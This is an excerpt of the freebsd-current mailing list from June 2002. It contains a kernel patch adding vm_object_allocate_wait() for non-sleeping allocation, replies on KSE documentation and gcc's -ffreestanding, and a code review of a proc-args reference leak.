Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


As part of my zero copy patches, I have to allocate a vm object.

To keep the object pointer from potentially getting spammed, I have it
protected by a mutex.

vm_object_allocate() calls uma_zalloc() with the M_WAITOK flag, therefore
WITNESS complains that we could sleep with a mutex held.

There are two obvious solutions to the problem, and I'd like some opinions
on which is the better approach:

1.  Allocate my vm object and assign it to a temporary variable in
    jumbo_vm_init() outside the mutex protection.  Only assign it to the
    right pointer if we haven't already been initialized.

    This would work, but seems like it would be a bit of an unnecessary
    step.

2.  Change vm_object_allocate() somehow so that uma_zalloc() isn't called
    with M_WAITOK.

I've attached patches for the second option.  I created a new function,
vm_object_allocate_wait(), that allows the user to specify whether or not
to wait on the uma_zalloc() call.

vm_object_allocate() is a wrapper for the new vm_object_allocate_wait()
call that preserves the current behavior.

Patches are attached, comments would be appreciated!

Thanks,

Ken
-- 
Kenneth Merry
ken@kdm.org

--W/nzBZO5zC0uMSeA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="vm_object_allocate.20020616"

==== //depot/FreeBSD-zero/src/sys/kern/uipc_jumbo.c#3 - /usr/home/ken/perforce/FreeBSD-zero/src/sys/kern/uipc_jumbo.c ====
*** /tmp/tmp.72862.0	Sun Jun 16 22:11:05 2002
--- /usr/home/ken/perforce/FreeBSD-zero/src/sys/kern/uipc_jumbo.c	Sun Jun 16 21:39:21 2002
***************
*** 101,107 ****
  	}
  
  	/* allocate our object */
! 	jumbo_vm_object = vm_object_allocate(OBJT_DEFAULT, JUMBO_MAX_PAGES);
  
  	SLIST_INIT(&jumbo_kmap_free);
  	SLIST_INIT(&jumbo_kmap_inuse);
--- 101,113 ----
  	}
  
  	/* allocate our object */
! 	jumbo_vm_object = vm_object_allocate_wait(OBJT_DEFAULT, JUMBO_MAX_PAGES,
! 						  M_NOWAIT);
! 
! 	if (jumbo_vm_object == NULL) {
! 		mtx_unlock(&jumbo_mutex);
! 		return (0);
! 	}
  
  	SLIST_INIT(&jumbo_kmap_free);
  	SLIST_INIT(&jumbo_kmap_inuse);
==== //depot/FreeBSD-zero/src/sys/vm/vm_object.c#13 - /usr/home/ken/perforce/FreeBSD-zero/src/sys/vm/vm_object.c ====
*** /tmp/tmp.72862.1	Sun Jun 16 22:11:05 2002
--- /usr/home/ken/perforce/FreeBSD-zero/src/sys/vm/vm_object.c	Wed Jun  5 21:28:48 2002
***************
*** 336,354 ****
  }
  
  /*
!  *	vm_object_allocate:
   *
!  *	Returns a new object with the given size.
   */
  vm_object_t
! vm_object_allocate(objtype_t type, vm_size_t size)
  {
  	vm_object_t result;
  
! 	result = (vm_object_t) uma_zalloc(obj_zone, M_WAITOK);
! 	_vm_object_allocate(type, size, result);
  
  	return (result);
  }
  
  
--- 336,369 ----
  }
  
  /*
!  *	vm_object_allocate_wait
   *
!  *	Return a new object with the given size, and give the user the
!  *	option of waiting for it to complete or failing if the needed
!  *	memory isn't available.
   */
  vm_object_t
! vm_object_allocate_wait(objtype_t type, vm_size_t size, int flags)
  {
  	vm_object_t result;
  
! 	result = (vm_object_t) uma_zalloc(obj_zone, flags);
! 
! 	if (result != NULL)
! 		_vm_object_allocate(type, size, result);
  
  	return (result);
+ }
+ 
+ /*
+  *	vm_object_allocate:
+  *
+  *	Returns a new object with the given size.
+  */
+ vm_object_t
+ vm_object_allocate(objtype_t type, vm_size_t size)
+ {
+ 	return(vm_object_allocate_wait(type, size, M_WAITOK));
  }
  
  
==== //depot/FreeBSD-zero/src/sys/vm/vm_object.h#7 - /usr/home/ken/perforce/FreeBSD-zero/src/sys/vm/vm_object.h ====
*** /tmp/tmp.72862.2	Sun Jun 16 22:11:05 2002
--- /usr/home/ken/perforce/FreeBSD-zero/src/sys/vm/vm_object.h	Wed Jun  5 21:28:57 2002
***************
*** 183,188 ****
--- 183,189 ----
  void vm_object_pip_wait(vm_object_t object, char *waitid);
  
  vm_object_t vm_object_allocate (objtype_t, vm_size_t);
+ vm_object_t vm_object_allocate_wait (objtype_t, vm_size_t, int);
  void _vm_object_allocate (objtype_t, vm_size_t, vm_object_t);
  boolean_t vm_object_coalesce (vm_object_t, vm_pindex_t, vm_size_t, vm_size_t);
  void vm_object_collapse (vm_object_t);

--W/nzBZO5zC0uMSeA--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 21:33:29 2002
Delivered-To: freebsd-current@freebsd.org
Received: from digger1.defence.gov.au (digger1.defence.gov.au [203.5.217.4])
	by hub.freebsd.org (Postfix) with ESMTP id D3B2837B40B
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 21:33:23 -0700 (PDT)
Received: from dsto-ms2.dsto.defence.gov.au (dsto-ms2.dsto.defence.gov.au [131.185.2.150])
	by digger1.defence.gov.au (8.10.1/8.10.1) with ESMTP id g5H4VwS13710
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 14:01:59 +0930 (CST)
Received: from muttley.dsto.defence.gov.au (unverified) by dsto-ms2.dsto.defence.gov.au
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83b902965b8acb2aa7@dsto-ms2.dsto.defence.gov.au>;
 Mon, 17 Jun 2002 14:03:14 +0930
Received: from salex001.dsto.defence.gov.au (salex001.dsto.defence.gov.au [131.185.2.9])
	by muttley.dsto.defence.gov.au (8.9.3/8.9.3/8.9.3.LMD.990513) with ESMTP id NAA31253;
	Mon, 17 Jun 2002 13:55:08 +0930 (CST)
Received: from squirm.dsto.defence.gov.au ([131.185.75.211]) by salex001.dsto.defence.gov.au with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id M7A45HS5; Mon, 17 Jun 2002 13:55:22 +0930
Date: Mon, 17 Jun 2002 13:46:03 +0930 (CST)
From: "Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>
X-X-Sender: wilkinsa@squirm.dsto.defence.gov.au
Reply-To: Alex.Wilkinson@dsto.defence.gov.au
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Alex.Wilkinson@dsto.defence.gov.au, <freebsd-current@freebsd.org>
Subject:  Re: KSE
In-Reply-To: <3D0D61C1.BC87EB58@mindspring.com>
Message-ID: <20020617134532.C43533-100000@squirm.dsto.defence.gov.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


	Jason Evans' page appears to be down, for some reason, but the
	SMP project also includes documentation.

What is the URL for his page ?

 - Alex


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 22: 1:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id CE15737B405; Sun, 16 Jun 2002 22:01:40 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id PAA12416;
	Mon, 17 Jun 2002 15:01:37 +1000
Date: Mon, 17 Jun 2002 15:06:18 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Maxime Henrion <mux@FreeBSD.ORG>, <current@FreeBSD.ORG>
Subject: Re: duplicate -ffreestanding in kernel build
In-Reply-To: <3D0C78F0.FDD244F9@mindspring.com>
Message-ID: <20020617150426.W3371-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, 16 Jun 2002, Terry Lambert wrote:

> Bruce Evans wrote:
> > > It's routine to assume that I'm going to use libc?!?
> >
> > No.  It is routine to assume that users use a library that meets the
> > compiler's requirements (the compiler gets to decide, not the users;
> > it is only constrained by the relevant standards and historical
> > (mal)practice).
>
> Where is this crap, and how to turn it off, spelled out, other
> than the source code?  I didn't see it in the .info; maybe I'm
> just looking in the wrong place?

Restrictions on C compilers are specified in C standards.  The standards
mostly try to not restrict the compiler.

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 23: 8: 0 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mel-rto6.wanadoo.fr (smtp-out-6.wanadoo.fr [193.252.19.25])
	by hub.freebsd.org (Postfix) with ESMTP id AF68C37B417
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 23:07:28 -0700 (PDT)
Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto6.wanadoo.fr (6.5.007)
        id 3D0A05D400102A7C for freebsd-current@freebsd.org; Mon, 17 Jun 2002 08:07:27 +0200
Received: from homer.dvh (80.14.247.20) by mel-rta8.wanadoo.fr (6.5.007)
        id 3CFB23D9007F7EE8 for freebsd-current@freebsd.org; Mon, 17 Jun 2002 08:07:27 +0200
Received: from bart.dvh (bart [192.168.0.1])
	by homer.dvh (8.12.3/8.12.3) with ESMTP id g5H67P6s002620
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 08:07:25 +0200
Received: from bart.dvh (localhost [127.0.0.1])
	by bart.dvh (8.12.3/8.12.3) with ESMTP id g5H67OMI019454
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 08:07:24 +0200
Received: (from dinh@localhost)
	by bart.dvh (8.12.3/8.12.2/Submit) id g5H67OEI019452;
	Mon, 17 Jun 2002 08:07:24 +0200
Date: Mon, 17 Jun 2002 08:06:55 +0200
From: DINH Viet Hoa <dinh.viet.hoa@free.fr>
To: freebsd-current@freebsd.org
Message-ID: <etPan.3d0d7c7f.20650ca7.4bf1@bart>
In-Reply-To: <3D0D61C1.BC87EB58@mindspring.com>
References: <20020617130948.P43533-100000@squirm.dsto.defence.gov.au>
 <3D0D61C1.BC87EB58@mindspring.com>
Subject: Re: KSE
X-Mailer: etPan! - alpha-dev version cr4cked by sunZ t3am
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
Content-Description: main text
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

> "Wilkinson,Alex" wrote:
> > Can anyone point me to any doc/pappers reagrding KSE.
> 
> http://people.freebsd.org/~julian/threads/

The most important paper on activation may be the following :

http://www.freebsd.org/~deischen/docs/p95-anderson.pdf

-- 
DINH V. Hoa,
libEtPan! - a mail library - http://libetpan.sourceforge.net

"Elle est sympa"

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 23:20:13 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
	by hub.freebsd.org (Postfix) with ESMTP id 84B2937B42B
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 23:20:08 -0700 (PDT)
Received: from InterJet.elischer.org ([12.232.206.8])
          by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020617062008.BXIV11659.rwcrmhc53.attbi.com@InterJet.elischer.org>;
          Mon, 17 Jun 2002 06:20:08 +0000
Received: from localhost (localhost.elischer.org [127.0.0.1])
	by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id XAA12868;
	Sun, 16 Jun 2002 23:05:05 -0700 (PDT)
Date: Sun, 16 Jun 2002 23:05:03 -0700 (PDT)
From: Julian Elischer <julian@elischer.org>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Alex.Wilkinson@dsto.defence.gov.au, freebsd-current@freebsd.org
Subject: Re: KSE
In-Reply-To: <3D0D61C1.BC87EB58@mindspring.com>
Message-ID: <Pine.BSF.4.21.0206162117250.11814-100000@InterJet.elischer.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I'm trying to regenerate jason's page here but am having trouble with all
the tools...
(it is done in tex and I don't seem tobe able to regenerate the tools
needed to make a web page from it..)


On Sun, 16 Jun 2002, Terry Lambert wrote:

> "Wilkinson,Alex" wrote:
> > Can anyone point me to any doc/pappers reagrding KSE.
> 
> http://people.freebsd.org/~julian/threads/
> 
> Jason Evans' page appears to be down, for some reason, but the
> SMP project also includes documentation.
> 
> -- Terry
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 23:51: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120])
	by hub.freebsd.org (Postfix) with ESMTP id 67F0837B40E
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 23:50:58 -0700 (PDT)
Received: from pool0214.cvx21-bradley.dialup.earthlink.net ([209.179.192.214] helo=mindspring.com)
	by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #2)
	id 17JqLn-0007Wm-00; Sun, 16 Jun 2002 23:50:55 -0700
Message-ID: <3D0D86A9.5675A106@mindspring.com>
Date: Sun, 16 Jun 2002 23:50:17 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Alex.Wilkinson@dsto.defence.gov.au
Cc: freebsd-current@freebsd.org
Subject: Re: KSE
References: <20020617134532.C43533-100000@squirm.dsto.defence.gov.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

"Wilkinson,Alex" wrote:
>         Jason Evans' page appears to be down, for some reason, but the
>         SMP project also includes documentation.
> 
> What is the URL for his page ?

http://people.freebsd.org/~jasone/

But knowing that won't make it any less down.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 23:52:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120])
	by hub.freebsd.org (Postfix) with ESMTP
	id B546A37B40C; Sun, 16 Jun 2002 23:52:33 -0700 (PDT)
Received: from pool0214.cvx21-bradley.dialup.earthlink.net ([209.179.192.214] helo=mindspring.com)
	by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #2)
	id 17JqNL-0000c5-00; Sun, 16 Jun 2002 23:52:31 -0700
Message-ID: <3D0D870A.9BC3D728@mindspring.com>
Date: Sun, 16 Jun 2002 23:51:54 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Kenneth D. Merry" <ken@kdm.org>
Cc: current@FreeBSD.org, alc@FreeBSD.org
Subject: Re: vm_object_allocate() question
References: <20020616221919.A78576@panzer.kdm.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

"Kenneth D. Merry" wrote:
> 2.  Change vm_object_allocate() somehow so that uma_zalloc() isn't called
>     with M_WAITOK.
> 
> I've attached patches for the second option.  I created a new function,
> vm_object_allocate_wait(), that allows the user to specify whether or not
> to wait on the uma_zalloc() call.
> 
> vm_object_allocate() is a wrapper for the new vm_object_allocate_wait()
> call that preserves the current behavior.
> 
> Patches are attached, comments would be appreciated!

Can't this happen as a result of a fault?  If that's the case, then
the M_WAITOK is, well, required.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 23:54:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120])
	by hub.freebsd.org (Postfix) with ESMTP
	id 28B5037B408; Sun, 16 Jun 2002 23:54:40 -0700 (PDT)
Received: from pool0214.cvx21-bradley.dialup.earthlink.net ([209.179.192.214] helo=mindspring.com)
	by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #2)
	id 17JqPN-0001qM-00; Sun, 16 Jun 2002 23:54:37 -0700
Message-ID: <3D0D8788.D668B2C0@mindspring.com>
Date: Sun, 16 Jun 2002 23:54:00 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Bruce Evans <bde@zeta.org.au>
Cc: Maxime Henrion <mux@FreeBSD.ORG>, current@FreeBSD.ORG
Subject: Re: duplicate -ffreestanding in kernel build
References: <20020617150426.W3371-100000@gamplex.bde.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Bruce Evans wrote:
> > Where is this crap, and how to turn it off, spelled out, other
> > than the source code?  I didn't see it in the .info; maybe I'm
> > just looking in the wrong place?
> 
> Restrictions on C compilers are specified in C standards.  The standards
> mostly try to not restrict the compiler.

So it "just assumes printf and puts use the same underlying
implementation in the C library", and doesn't document its
assumptions anywhere?

I think I'm going to be sick.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  0:15:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 6FCE737B40C
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 00:15:29 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id RAA16596;
	Mon, 17 Jun 2002 17:15:19 +1000
Date: Mon, 17 Jun 2002 17:19:59 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Peter Jeremy <peter.jeremy@alcatel.com.au>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: proc-args (M_PARGS) leakage
In-Reply-To: <20020617131502.O680@gsmx07.alcatel.com.au>
Message-ID: <20020617155522.X3493-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, 17 Jun 2002, Peter Jeremy wrote:

> Having noticed that my system is paging far more than I would have
> expected, I went looking and found that the 'proc-args' pool was
> far larger than I expected.  And is growing over time:
>
> gsmx07# vmstat -m|grep proc-args
>     proc-args701802 70634K  70634K  1589264  16,32,64,128,256
> [about 10 minutes delay]
> gsmx07# vmstat -m|grep proc-args;vmstat -m|grep proc-args
>     proc-args702048 70652K  70652K  1589557  16,32,64,128,256
>     proc-args702047 70652K  70652K  1589558  16,32,64,128,256
> gsmx07#

I see a relatively slow growth on a fairly idle machine (4031K after
3 days of uptime).

> Whilst I'm fairly certain it's not my problem, sysctl_kern_proc_args()
> (1.136) looks dubious:
> ...
>         PROC_LOCK(p);
>         pa = p->p_args;
>         pargs_hold(pa);
>         PROC_UNLOCK(p);
>         if (req->oldptr && pa != NULL) {
>                 error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
>         }
>         if (req->newptr == NULL) {
>                 pargs_drop(pa);
>                 return (error);
>         }
> To this point, it all looks correct: An additional reference has been
> added to p_args to allow the SYSCTL_OUT() to copy the arguments without
> them being freed.  The relevant pargs entry will have a ref count of at
> least 2 (the original reference from 'p' and a new reference via
> pargs_hold()).
>
>         PROC_LOCK(p);
>         pa = p->p_args;
>         p->p_args = NULL;
>         PROC_UNLOCK(p);
>         pargs_drop(pa);
>
> (And later code shows pa dead at this point).  I don't follow this.
> pargs_drop(pa) deletes a single reference count - which matches the
> line "p->p_args = NULL;" - but I don't see anything to match the
> pargs_hold(pa) above.

Yes, this seems to be missing a pargs_drop() to drop the reference that
we have just gained.  The corresponding code in RELENG_4 uses
--p->p_args->ar_ref to drop the main reference.  This was sufficient since
RELENG_4 doesn't aquire another reference.  I think the above should be
(after fixing some other bugs (see below) and some style bugs):

	if (req->oldptr != NULL) {
		if (pa != NULL)
			error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
		else
			dont_forget_to_set_output_parameters();
	}
	pargs_drop(pa);
	if (error != 0 || req->newptr == NULL)
		return (error);
#ifdef foot_shooting
	/*
	 * This just loses if we can't read the new args.  It doesn't even
	 * help in the non-error case, since setting p->p_args to NULL
	 * here doesn't keep it NULL after we release the proc lock.
	 */
	PROC_LOCK(p);
	pa = p->p_args;
	p->p_args = NULL;
	PROC_UNLOCK(p);
	pargs_drop(pa);
#endif

Other bugs:

        if (req->oldptr && pa != NULL) {
                error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
        }

This fails to set the output parameters in the req->oldptr != NULL case.
It also has some style bugs (only one pointer explicitly compared with NULL,
and verbose braces).

	if (req->newptr == NULL) {
		pargs_drop(pa);
		return (error);
	}

This should return if error != 0.

Otherwise OK until here, as above.  We return if we are just reading
the proc table.  I would have though that this was the usual case, but
on my fairly idle system it is 100% unusual: this sysctl is only used
by sendmail to write sometime.

	PROC_LOCK(p);
	pa = p->p_args;
	p->p_args = NULL;
	PROC_UNLOCK(p);
	pargs_drop(pa);

This throws away p->p_args, so we should be sure that we have a new
p->p_args before doing it ...

	if (req->newlen + sizeof(struct pargs) > ps_arg_cache_limit)
		return (error);

... but here we don't even do this simple error check first.  We also
return a garbage error code (normally 0).

	pa = pargs_alloc(req->newlen);
	error = SYSCTL_IN(req, pa->ar_args, req->newlen);
	if (!error) {
		PROC_LOCK(p);
		p->p_args = pa;
		PROC_UNLOCK(p);

This leaks p->p_args in the unlikely event that p->p_args becomes non-NULL
after we have set it to NULL.  The code under '#ifdef foot_shooting" should
be merged here to fix this.

	} else
		pargs_free(pa);
	return (error);

The else clause is for the error case.  Again, we have thown away
p->p_args too early.

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  0:39:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailg.telia.com (mailg.telia.com [194.22.194.26])
	by hub.freebsd.org (Postfix) with ESMTP id 7A7FB37B404
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 00:39:31 -0700 (PDT)
Received: from d1o913.telia.com (d1o913.telia.com [195.252.44.241])
	by mailg.telia.com (8.11.6/8.11.6) with ESMTP id g5H7dUa12761
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 09:39:30 +0200 (CEST)
Received: from falcon.midgard.homeip.net (h53n2fls20o913.telia.com [212.181.163.53])
	by d1o913.telia.com (8.8.8/8.8.8) with SMTP id JAA20673
	for <current@FreeBSD.ORG>; Mon, 17 Jun 2002 09:39:29 +0200 (CEST)
Received: (qmail 12302 invoked by uid 1001); 17 Jun 2002 07:39:25 -0000
Date: Mon, 17 Jun 2002 09:39:25 +0200
From: Erik Trulsson <ertr1013@student.uu.se>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Bruce Evans <bde@zeta.org.au>, Maxime Henrion <mux@FreeBSD.ORG>,
	current@FreeBSD.ORG
Subject: Re: duplicate -ffreestanding in kernel build
Message-ID: <20020617073924.GA12276@falcon.midgard.homeip.net>
Mail-Followup-To: Terry Lambert <tlambert2@mindspring.com>,
	Bruce Evans <bde@zeta.org.au>, Maxime Henrion <mux@FreeBSD.ORG>,
	current@FreeBSD.ORG
References: <20020617150426.W3371-100000@gamplex.bde.org> <3D0D8788.D668B2C0@mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3D0D8788.D668B2C0@mindspring.com>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, Jun 16, 2002 at 11:54:00PM -0700, Terry Lambert wrote:
> Bruce Evans wrote:
> > > Where is this crap, and how to turn it off, spelled out, other
> > > than the source code?  I didn't see it in the .info; maybe I'm
> > > just looking in the wrong place?
> > 
> > Restrictions on C compilers are specified in C standards.  The standards
> > mostly try to not restrict the compiler.
> 
> So it "just assumes printf and puts use the same underlying
> implementation in the C library", and doesn't document its
> assumptions anywhere?

Not quite.  It assumes that the semantics of printf("foo\n") and
puts("foo") are identical and therefore can be exchanged for each
other.  As far as the C standard is concerned this is perfectly fine.
If this is really an optimization or not is another question.

If you don't want gcc to assume that the functions in the standard
library exists and does what the standard says they do, then use the
-ffreestanding flag.  That is what it is there for.

As for documentation I suggest you read the documentation for the
-ffreestanding and -fnobuiltin options in gcc.
(And read up on the "as-if" rule in the Standard.)

> 
> I think I'm going to be sick.

Why?  Because your assumptions turned out to be merely assumptions and
not facts?

> 
> -- Terry


-- 
<Insert your favourite quote here.>
Erik Trulsson
ertr1013@student.uu.se

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  0:55:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49])
	by hub.freebsd.org (Postfix) with ESMTP
	id A91BB37B401; Mon, 17 Jun 2002 00:55:31 -0700 (PDT)
Received: from pool0032.cvx21-bradley.dialup.earthlink.net ([209.179.192.32] helo=mindspring.com)
	by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17JrMF-00068K-00; Mon, 17 Jun 2002 00:55:27 -0700
Message-ID: <3D0D95C9.70210E62@mindspring.com>
